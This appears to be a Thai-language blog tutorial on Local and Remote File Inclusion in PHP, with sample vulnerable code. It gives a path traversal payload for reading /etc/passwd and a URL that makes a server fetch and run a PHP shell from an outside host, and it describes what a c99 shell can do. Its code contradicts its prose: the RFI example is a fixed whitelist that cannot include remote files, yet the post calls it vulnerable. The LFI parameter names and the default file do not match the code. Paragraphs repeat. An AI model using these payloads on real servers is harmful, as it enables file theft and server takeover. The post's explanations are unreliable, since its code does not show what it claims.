LOCAL FILE INCLUSION X REMOTE FILE INCLUSION#1
LOCAL FILE INCLUSION X REMOTE FILE INCLUSION#1
Local File Inclusion
Local File Inclusion (LFI.) นั้นเป็นการโจมตีที่ผู้โจมตีจะพยายามนำไฟล์ภายในเครื่องเข้าไปประมวลผลยังเพจนั้นๆ โดยเกิดจากที่ web application นั้นมีการอ้างอิงไปยังหน้าต่างๆผ่านชื่อไฟล์ เช่น http://example.com/index.php?page=frame.php เป็นต้น
ในที่นี้ผมยกตัวอย่างโค้ด
ในที่นี้ผมยกตัวอย่างโค้ด
<?php
$page = $_GET['path']; //The page we wish to display
include $page;
?>
จากโค้ดจะเห็นว่าหน้า page โดย default คือ hello.txt โดยเว็บไซด์ได้มีการพยายามนำไฟล์ hello.txt มาแสดงเป็นส่วนหนึ่งของโค้ดผ่านการใช้งานคำสั่ง include() โดยหากไม่มีการกำหนดตัวแปร page ตัวเว็บจะทำการ redirect user ไปยัง URL http://example.com/index.php?page=hello.txt
จากโค้ดจะเห็นว่าไม่มีการกรองหรือว่า escape ตัว $_GET[“page”] แต่อย่างใด ดังนั้นผมจะยกตัวอย่างการโจมตีโดยการเปลี่ยน page=hello.txt ไปเป็น page=../../../../../../../etc/passwd แทน ซึ่ง ../ นั้นหมายถึง path ก่อนหน้านี้ เมื่อได้ทำการใส่ ../ เข้าไปหลายๆครั้งจะกลายเป็นการอ้างอิง path ย้อนหลังไปเรื่อยๆ โดย path ที่อยู่ด้านหลังสุดคือ / นั่นเอง ซึ่งการกระทำดังกล่าวทำให้เราได้อ้างอิง path root ของเครื่องนั่นเอง และ /etc/passwd ก็คือ path ที่เก็บรายละเอียดต่างๆของ user ไว้นั่นเอง
จากโค้ดจะเห็นว่าไม่มีการกรองหรือว่า escape ตัว $_GET[“page”] แต่อย่างใด ดังนั้นผมจะยกตัวอย่างการโจมตีโดยการเปลี่ยน page=hello.txt ไปเป็น page=../../../../../../../etc/passwd แทน ซึ่ง ../ นั้นหมายถึง path ก่อนหน้านี้ เมื่อได้ทำการใส่ ../ เข้าไปหลายๆครั้งจะกลายเป็นการอ้างอิง path ย้อนหลังไปเรื่อยๆ โดย path ที่อยู่ด้านหลังสุดคือ / นั่นเอง ซึ่งการกระทำดังกล่าวทำให้เราได้อ้างอิง path root ของเครื่องนั่นเอง และ /etc/passwd ก็คือ path ที่เก็บรายละเอียดต่างๆของ user ไว้นั่นเอง
Remote File Inclusion
Remote File Inclusion (RFI.) เป็นการโจมตีที่ Hacker จะพยายามนำไฟล์คำสั่งเข้าไปประมวลผลยัง Web server โดยการโจมตีส่วนใหญ่ของ RFI. ทำได้จากการที่ Web Server นั้นมีการอ้างอิงไปยังหน้าต่างๆผ่านชื่อไฟล์ซึ่งเหมือนกับ LFI เช่น http://example.com/site.php?path=frame.php ในที่นี้ผมยกตัวอย่างโค้ด
<?php
$page = $_GET['module'];
switch($page){
case "aboutus":
include("about.php");
break;
case "shop":
include("shop.php");
break;
case "main":
include("main.php");
break;
default: //If not in any choices, go to the home.php
include("home.php");
break;
}
?>
โค้ดตัวอย่างนี้เป็น php ที่ใช้ในการจัดการการแสดงผลของเว็บเพจใดๆด้วยการดึงข้อมูลจากเว็บเพจอื่น ซึ่งมักจะพบเห็นบ่อยในการกำหนด page กลางหรือ frame กลางของหน้าเว็บเพจ จะเห็นว่าไม่มีการตรวจสอบการ input ใดๆอีกเช่นเคย ส่งผลให้ Hacker สามารถนำ page จากภายนอกมาประมวลผลภายใน Web Server ซึ่งสิ่งที่ Hacker นำมาประมวลผลเพื่อสั่งงาน Web Server ก็คือ PHP Shell ซึ่ง PHP Shell คือเว็บเพจที่ถูกสร้างมาเพื่อการสั่งงานเครื่องเว็บเซอร์เวอร์นั้นผ่านหน้าเว็บเพจนั่นเอง สิ่งที่เราสามารถสั่งงานได้ผ่าน PHP Shell เช่น การลบไฟล์, ย้ายไฟล์, อ่านไฟล์, แก้ไขไฟล์, รันคำสั่งต่างๆของระบบ เป็นต้น
ในที่นี้ Hacker เก็บ PHP Shell ไว้ที่
ในที่นี้ Hacker เก็บ PHP Shell ไว้ที่
http://remotefile.r00tsec.com/phpshell.php
แล้วจะนำมาประมวลผลบนเว็บเพจดังนั้นจำเรียกเป็น
http://example.com/site.php?path=http://remotefile.r00tsec.com/phpshell.php
ซึ่งก็คือการนำเอา http://remotefile.r00tsec.com/phpshell.php ไปแสดงผลหรือทำงานบนเครื่องเว็บเซอร์เวอร์นั่นเอง

ตัวอย่างหน้าตาของ c99 shell ซึ่งเป็น PHP Shell
ตัวอย่างหน้าตาของ c99 shell ซึ่งเป็น PHP Shell
Comments
Post a Comment